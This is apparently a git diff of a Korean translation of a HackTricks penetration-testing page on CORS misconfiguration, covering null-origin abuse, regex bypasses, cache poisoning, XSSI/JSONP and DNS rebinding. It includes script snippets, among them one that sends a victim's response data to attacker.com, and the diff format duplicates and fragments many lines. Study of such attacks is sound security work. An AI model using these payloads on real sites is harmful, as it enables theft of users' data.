`Origin` 헤더의 값이 `Access-Control-Allow-Origin`에 반영되는 실제 시나리오는 이 두 헤더를 결합하는 제한으로 인해 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자들은 `Origin` 헤더의 값을 복사하여 동적으로 `Access-Control-Allow-Origin` 헤더를 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 유효성 검사 논리를 속이기 위해 합법적으로 보이도록 설계된 도메인을 사용하는 경우에는 더욱 그렇습니다.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -158,9 +158,9 @@ location='/log?key='+this.responseText;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### `null` 오리진 악용
|
||||
### `null` Origin 악용
|
||||
|
||||
`null` 오리진은 리디렉션이나 로컬 HTML 파일과 같은 상황을 위해 지정된 곳으로, 독특한 위치를 차지합니다. 일부 애플리케이션은 로컬 개발을 용이하게 하기 위해 이 오리진을 화이트리스트에 추가하는데, 이로 인해 샌드박스된 iframe을 통해 아무 웹사이트나 `null` 오리진을 흉내내어 CORS 제한을 우회할 수 있습니다.
|
||||
`null` 원점은 리디렉션 또는 로컬 HTML 파일과 같은 상황을 위해 지정된 원점으로, 독특한 위치를 가지고 있습니다. 일부 애플리케이션은 이 원점을 로컬 개발을 용이하게 하기 위해 화이트리스트에 추가하는데, 이로 인해 샌드박스된 iframe을 통해 웹 사이트가 `null` 원점을 모방하여 CORS 제한을 우회할 수 있습니다.
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -188,21 +188,21 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
```
|
||||
### 정규 표현식 우회 기법
|
||||
|
||||
도메인 화이트리스트를 만났을 때, 공격자의 도메인을 화이트리스트에 추가하거나 서브도메인 탈취 취약점을 악용하는 등 우회 기회를 테스트하는 것이 중요합니다. 또한, 도메인 유효성 검사에 사용되는 정규 표현식은 도메인 명명 규칙의 세부 사항을 간과할 수 있어 추가적인 우회 기회를 제공할 수 있습니다.
|
||||
도메인 화이트리스트를 만나면, 공격자의 도메인을 화이트리스트에 추가하거나 서브도메인 탈취 취약점을 악용하는 등 우회 기회를 테스트하는 것이 중요합니다. 또한, 도메인 유효성 검사에 사용되는 정규 표현식은 도메인 명명 규칙의 세부 사항을 간과할 수 있어 추가적인 우회 기회를 제공할 수 있습니다.
|
||||
|
||||
### 고급 정규 표현식 우회
|
||||
|
||||
정규식 패턴은 일반적으로 알파벳, 점(.), 하이픈(-) 문자에 집중하며 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규식 패턴에서 다르게 해석되는 문자를 포함한 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox가 서브도메인의 밑줄 문자를 처리하는 방식은 이러한 차이가 도메인 유효성 검사 논리를 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.
|
||||
정규식 패턴은 일반적으로 알파벳, 점(.), 하이픈(-) 문자에 집중하며, 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규식 패턴에서 다르게 해석되는 문자를 포함한 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox가 서브도메인의 밑줄 문자를 처리하는 방식은 이러한 차이가 도메인 유효성 검사 논리를 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.
|
||||
|
||||
**이 우회 검사에 대한 자세한 정보 및 설정:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **및** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
**이 우회 검사의 자세한 정보 및 설정에 대한 자세한 내용은:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **및** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:720/format:webp/1\*rolEK39-DDxeBgSq6KLKAA.png](<../.gitbook/assets/image (281).png>)
|
||||
|
||||
### 서브도메인 내 XSS로부터
|
||||
|
||||
개발자들은 종종 CORS 악용에 대비하기 위해 방어 메커니즘을 구현하여 정보 요청이 허용된 도메인을 화이트리스트에 등록합니다. 그러나 이러한 예방 조치에도 불구하고 시스템의 보안은 완벽하지 않습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나라도 존재하면 XSS(Cross-Site Scripting)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.
|
||||
개발자들은 종종 CORS 악용에 대비하기 위해 정보 요청이 허용된 도메인을 화이트리스트에 등록함으로써 방어 메커니즘을 구현합니다. 그러나 이러한 예방 조치에도 불구하고, 시스템의 보안은 완벽하지 않을 수 있습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나라도 존재하면, XSS(Cross-Site Scripting)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.
|
||||
|
||||
예를 들어, `requester.com` 도메인이 `provider.com` 도메인에서 리소스에 액세스할 수 있도록 화이트리스트에 등록되어 있다고 가정해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:
|
||||
예를 들어, 도메인 `requester.com`이 다른 도메인 `provider.com`에서 리소스에 액세스할 수 있도록 화이트리스트에 등록되어 있다고 가정해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -210,13 +210,13 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
|||
// Unauthorized access
|
||||
}
|
||||
```
|
||||
이 설정에서 `requester.com`의 모든 하위 도메인이 액세스를 허용합니다. 그러나 `sub.requester.com`과 같은 하위 도메인이 XSS 취약점으로 침투당하면 공격자가 이 취약점을 악용할 수 있습니다. 예를 들어, `sub.requester.com`에 액세스 권한이 있는 공격자는 XSS 취약점을 이용하여 CORS 정책을 우회하고 `provider.com`의 리소스에 악의적으로 액세스할 수 있습니다.
|
||||
이 설정에서 `requester.com`의 모든 하위 도메인이 액세스를 허용합니다. 그러나 `sub.requester.com`과 같은 하위 도메인이 XSS 취약점으로 침해당하면 공격자가 이 취약점을 활용할 수 있습니다. 예를 들어 `sub.requester.com`에 액세스 권한이 있는 공격자는 XSS 취약점을 악용하여 CORS 정책을 우회하고 `provider.com`의 리소스에 악의적으로 액세스할 수 있습니다.
|
||||
|
||||
### **서버 측 캐시 독려**
|
||||
|
||||
[**이 연구에서**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써 저장된 Cross-Site Scripting (XSS) 취약점을 유발할 수 있습니다. 이 시나리오는 응용 프로그램이 `Origin` 헤더를 비법 문자로 살균하지 않아 Internet Explorer 및 Edge 사용자에게 특히 취약성을 만드는 경우 발생합니다. 이러한 브라우저는 (0x0d)을 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발합니다.
|
||||
HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써 저장된 Cross-Site Scripting (XSS) 취약점을 유발할 수 있습니다. 이 시나리오는 응용 프로그램이 `Origin` 헤더를 부적절한 문자로 살균하지 않을 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 만듭니다. 이러한 브라우저는 (0x0d)을 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발합니다.
|
||||
|
||||
다음과 같이 `Origin` 헤더가 조작된 요청을 고려해보십시오:
|
||||
```
|
||||
|
@ -229,11 +229,11 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내도록 하는 것은 불가능하지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 우연히 다른 사람에게 제공될 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.
|
||||
직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내도록 하는 것은 실행 가능하지 않지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 다른 사람에게 무심코 제공할 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.
|
||||
|
||||
저장된 XSS 취약점에 대한 자세한 내용은 [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)를 참조하십시오.
|
||||
|
||||
**참고**: HTTP 헤더 삽입 취약점의 악용, 특히 서버 측 캐시 오염을 통해 사용자가 제공한 모든 입력(포함된 HTTP 헤더)을 유효성 검사하고 살균하는 것의 중요성을 강조합니다. 이러한 취약점을 방지하기 위해 입력 유효성 검사를 포함한 견고한 보안 모델을 항상 사용하십시오.
|
||||
**참고**: HTTP 헤더 삽입 취약점의 악용, 특히 서버 측 캐시 오염을 통해, HTTP 헤더를 포함한 모든 사용자 제공 입력을 확인하고 살균하는 것이 중요함을 강조합니다. 이러한 취약점을 방지하기 위해 입력 유효성을 검사하는 견고한 보안 모델을 항상 사용하십시오.
|
||||
|
||||
### **클라이언트 측 캐시 오염**
|
||||
|
||||
|
@ -241,11 +241,11 @@ Content-Type: text/html; charset=UTF-7
|
|||
|
||||
이 시나리오에서는 적절한 인코딩 없이 사용자 지정 HTTP 헤더의 내용을 반영하는 웹 페이지의 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 `X-User-id` 헤더에 포함된 내용을 다시 반영하며, 이는 로드 시에 JavaScript 코드를 실행하도록 설계된 SVG 이미지 태그를 포함하는 예제에 의해 악의적인 JavaScript를 포함할 수 있습니다.
|
||||
|
||||
Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 이후 이 캐시된 응답은 URL로 이동할 때 직접 렌더링되어 초기 요청 시 직접 렌더링이 필요하지 않게 됩니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.
|
||||
Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. `Vary: Origin` 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 결과적으로 이 캐시된 응답은 URL로 이동할 때 직접 렌더링되어 초기 요청 시 직접 렌더링이 필요하지 않게 됩니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.
|
||||
|
||||
이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더가 포함된 URL로 요청을 보냅니다. 성공적인 요청 완료 후, 대상 URL로 이동을 시도하여 `Vary: Origin` 헤더를 올바르게 처리하지 않고 응답이 캐시된 경우 주입된 스크립트의 실행을 유도할 수 있습니다.
|
||||
이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더가 포함된 지정된 URL로 요청을 보냅니다. 요청이 성공적으로 완료되면 대상 URL로 이동을 시도하여, 응답이 `Vary: Origin` 헤더를 올바르게 처리하지 않고 캐시된 경우 삽입된 스크립트의 실행을 유도할 수 있습니다.
|
||||
|
||||
다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분해입니다:
|
||||
다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분석입니다:
|
||||
```html
|
||||
<script>
|
||||
function gotcha() { location=url }
|
||||
|
@ -261,13 +261,13 @@ req.send();
|
|||
|
||||
### XSSI (Cross-Site Script Inclusion) / JSONP
|
||||
|
||||
XSSI, 또는 Cross-Site Script Inclusion으로도 알려진 취약점은 script 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 사실을 악용하는 유형의 취약점입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약점을 통해 공격자는 script 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.
|
||||
XSSI, Cross-Site Script Inclusion으로도 알려진 것은 스크립트 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 취약성 유형입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약성을 통해 공격자는 스크립트 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.
|
||||
|
||||
이 취약점은 특히 동적 JavaScript 또는 JSONP (Padding이 있는 JSON)와 같은 환경 권한 정보(예: 쿠키)가 인증에 사용될 때 특히 중요해집니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 액세스 가능해집니다.
|
||||
이 취약성은 특히 동적 JavaScript 또는 JSONP(JSON with Padding)에서 중요해지며, 특히 쿠키와 같은 환경 권한 정보가 인증에 사용될 때입니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 액세스 가능해집니다.
|
||||
|
||||
이 취약점을 더 잘 이해하고 완화하기 위해 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)에서 사용할 수 있는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약점을 식별하고 해결하는 데 도움이 될 수 있습니다.
|
||||
이 취약성을 이해하고 완화하기 위해 [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)에서 사용할 수 있는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약성을 식별하고 해결하는 데 도움이 될 수 있습니다.
|
||||
|
||||
[**다양한 유형의 XSSI 및 그들을 어떻게 악용하는지에 대해 자세히 알아보세요.**](xssi-cross-site-script-inclusion.md)
|
||||
[**여기에서 다양한 유형의 XSSI 및 그들을 어떻게 악용하는지 자세히 알아보세요.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
요청에 **`callback`** **매개변수**를 추가해 보세요. 페이지가 데이터를 JSONP로 보내도록 준비되어 있을 수 있습니다. 이 경우 페이지는 `Content-Type: application/javascript`로 데이터를 다시 보내 CORS 정책을 우회할 것입니다.
|
||||
|
||||
|
@ -275,14 +275,14 @@ XSSI, 또는 Cross-Site Script Inclusion으로도 알려진 취약점은 script
|
|||
|
||||
### 쉬운 (의미 없는?) 우회
|
||||
|
||||
`Access-Control-Allow-Origin` 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청하여 대신 요청하고 응답을 보내도록 하는 것입니다. 그러나 이 시나리오에서 최종 피해자의 자격 증명은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.
|
||||
`Access-Control-Allow-Origin` 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청하여 대신 응답을 보내도록 하는 것입니다. 그러나 이 시나리오에서 최종 피해자의 자격 증명은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 해당 헤더를 전달하는 프록시를 제공하며 Origin 헤더를 요청된 도메인과 일치하도록 위조합니다. 이를 통해 CORS 정책을 우회할 수 있습니다. XMLHttpRequest를 사용한 예시는 다음과 같습니다:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): 이 도구는 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행하는 대체 접근 방식을 제공합니다.
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): 이 도구는 요청과 함께 헤더를 전달하고 요청된 도메인과 일치하도록 Origin 헤더를 스푸핑하는 프록시를 제공합니다. 이를 통해 CORS 정책을 우회할 수 있습니다. XMLHttpRequest를 사용한 예시는 다음과 같습니다:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): 이 도구는 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행합니다.
|
||||
|
||||
### Iframe + 팝업 우회
|
||||
|
||||
`e.origin === window.origin`과 같은 CORS 확인을 우회하기 위해 **iframe를 생성**하고 **새 창을 열어** 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:
|
||||
`e.origin === window.origin`과 같은 CORS 확인을 우회하기 위해 **iframe을 생성**하고 **새 창을 열어** 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
|
@ -295,68 +295,30 @@ TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안
|
|||
1. 공격자가 웹 페이지를 만들고 피해자가 액세스하도록 합니다.
|
||||
2. 공격자는 자신의 도메인의 DNS(IP)을 피해자의 웹 페이지를 가리키도록 변경합니다.
|
||||
3. 피해자의 브라우저는 DNS 응답을 캐시하며, DNS 레코드가 유효한 기간을 나타내는 TTL(Time to Live) 값을 가질 수 있습니다.
|
||||
4. TTL이 만료되면 피해자의 브라우저가 새 DNS 요청을 수행하며, 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
|
||||
5. 피해자의 IP를 제어하면서 공격자는 피해자로부터 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.
|
||||
4. TTL이 만료되면 피해자의 브라우저는 새 DNS 요청을 수행하며, 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
|
||||
5. 피해자의 IP를 제어하면서, 공격자는 피해자에게 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.
|
||||
|
||||
이 기술은 낮은 TTL 값으로도 즉시 이 기술을 악용하는 것을 방지할 수 있는 브라우저의 캐싱 메커니즘이 있다는 점을 유의해야 합니다.
|
||||
|
||||
DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하거나 사용자 또는 봇이 동일한 페이지에 오랜 기간 머무르는 시나리오에서 캐시가 만료되는 것을 허용하기 위해 유용할 수 있습니다.
|
||||
|
||||
DNS 리바인딩을 빠르게 악용하려면 [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html)와 같은 서비스를 사용할 수 있습니다.
|
||||
|
||||
자체 DNS 리바인딩 서버를 실행하려면 **DNSrebinder**([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder))와 같은 도구를 활용할 수 있습니다. 이는 로컬 포트 53/udp를 노출시키고 해당 포트를 가리키는 A 레코드를 만들고 이전에 만든 A 하위 도메인을 가리키는 NS 레코드를 만드는 것을 포함합니다. ns.example.com 하위 도메인의 모든 하위 도메인은 이후에 호스트에 의해 해결됩니다.
|
||||
|
||||
더 많은 이해와 실험을 위해 [http://rebind.it/singularity.html](http://rebind.it/singularity.html)에서 공개적으로 실행 중인 서버를 탐색할 수도 있습니다.
|
||||
|
||||
### DNS 리바인딩을 통한 **DNS 캐시 홍수**
|
||||
|
||||
DNS 캐시 홍수를 통한 DNS 리바인딩은 브라우저의 캐싱 메커니즘을 우회하고 두 번째 DNS 요청을 강제하는 기술입니다. 작동 방식은 다음과 같습니다:
|
||||
|
||||
1. 초기에 피해자가 DNS 요청을 수행하면 공격자의 IP 주소로 응답됩니다.
|
||||
2. 캐싱 방어를 우회하기 위해 공격자는 서비스 워커를 활용합니다. 서비스 워커는 DNS 캐시를 홍수시켜 캐시된 공격자 서버 이름을 효과적으로 삭제합니다.
|
||||
3. 피해자의 브라우저가 두 번째 DNS 요청을 수행하면 이제 IP 주소 127.0.0.1로 응답됩니다. 일반적으로 이는 로컬호스트를 가리킵니다.
|
||||
|
||||
서비스 워커를 사용하여 DNS 캐시를 홍수시킴으로써 공격자는 DNS 해결 프로세스를 조작하고 피해자의 브라우저가 두 번째 요청을 수행하도록 강제할 수 있습니다. 이번에는 공격자가 원하는 IP 주소로 해결됩니다.
|
||||
|
||||
### DNS 리바인딩을 통한 **캐시**
|
||||
|
||||
캐싱 방어를 우회하는 또 다른 방법은 DNS 제공업체에서 동일 서브도메인에 대해 여러 IP 주소를 활용하는 것입니다. 작동 방식은 다음과 같습니다:
|
||||
|
||||
1. 공격자는 DNS 제공업체에서 동일 서브도메인에 대해 두 개의 A 레코드(또는 두 개의 IP를 가진 단일 A 레코드)를 설정합니다.
|
||||
2. 브라우저가 이러한 레코드를 확인하면 두 IP 주소를 받습니다.
|
||||
3. 브라우저가 먼저 공격자의 IP 주소를 사용하기로 결정하면 공격자는 동일 도메인으로 HTTP 요청을 수행하는 페이로드를 제공할 수 있습니다.
|
||||
4. 그러나 공격자가 피해자의 IP 주소를 획득하면 피해자의 브라우저에 응답을 중단합니다.
|
||||
5. 도메인이 응답하지 않음을 인식한 피해자의 브라우저는 두 번째로 제공된 IP 주소를 사용하도록 전환합니다.
|
||||
6. 두 번째 IP 주소에 액세스함으로써 브라우저는 동일 출처 정책(SOP)을 우회하여 공격자가 이를 악용하고 정보를 수집하고 유출할 수 있습니다.
|
||||
|
||||
이 기술은 도메인에 대해 여러 IP 주소가 제공될 때 브라우저의 동작을 활용하여 응답을 전략적으로 제어하고 브라우저가 선택한 IP 주소를 조작함으로써 공격자가 SOP를 악용하고 피해자로부터 정보에 액세스할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
localhost에 액세스하려면 Windows에서 **127.0.0.1**을, Linux에서 **0.0.0.0**을 재바인딩해야 합니다.\
|
||||
godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없게 했지만 AWS route53는 두 개의 IP 중 하나가 "0.0.0.0"인 A 레코드를 만들 수 있게 했습니다.
|
||||
|
||||
<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
||||
더 많은 정보는 [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)에서 확인할 수 있습니다.
|
||||
DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하거나 사용자 또는 봇이 동일한 페이지에 오랜 기간 머무르는 시나리오에 유용할 수 있습니다.
|
||||
### 기타 일반적인 우회 방법
|
||||
|
||||
* **내부 IP가 허용되지 않는 경우**, **0.0.0.0을 금지하는 것을 잊을 수 있음** (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 허용되지 않는 경우**, **로컬호스트에 대한 CNAME으로 응답** (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, www.corporate.internal과 같은 **내부 서비스에 대한 CNAME 응답**을 할 수 있음.
|
||||
* **내부 IP가 허용되지 않는 경우**, **로컬호스트에 대한 CNAME**으로 응답 (Linux 및 Mac에서 작동)
|
||||
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, www.corporate.internal과 같은 **내부 서비스에 대한 CNAME**으로 응답할 수 있음.
|
||||
|
||||
### DNS Rebidding 무기화
|
||||
|
||||
이전 우회 기술에 대한 자세한 정보 및 다음 도구 사용 방법은 [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)에서 확인할 수 있습니다.
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 공격 서버 DNS 이름의 IP 주소를 대상 컴퓨터의 IP 주소로 재바인딩하고 대상 컴퓨터의 취약한 소프트웨어를 공격하는 페이로드를 제공하기 위한 필수 구성 요소가 포함되어 있습니다.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 이 도구에는 공격 서버 DNS 이름의 IP 주소를 대상 기기의 IP 주소로 재바인딩하고 대상 기기의 취약한 소프트웨어를 공격하는 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.
|
||||
|
||||
### DNS Rebinding에 대한 실제 보호
|
||||
|
||||
* 내부 서비스에서 TLS 사용
|
||||
* 데이터에 액세스하기 위해 인증 요청
|
||||
* Host 헤더 유효성 검사
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): 공개 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내는 제안
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): 공용 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내도록 제안
|
||||
|
||||
## **도구**
|
||||
|
||||
|
@ -382,20 +344,20 @@ godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없
|
|||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,49 +2,49 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
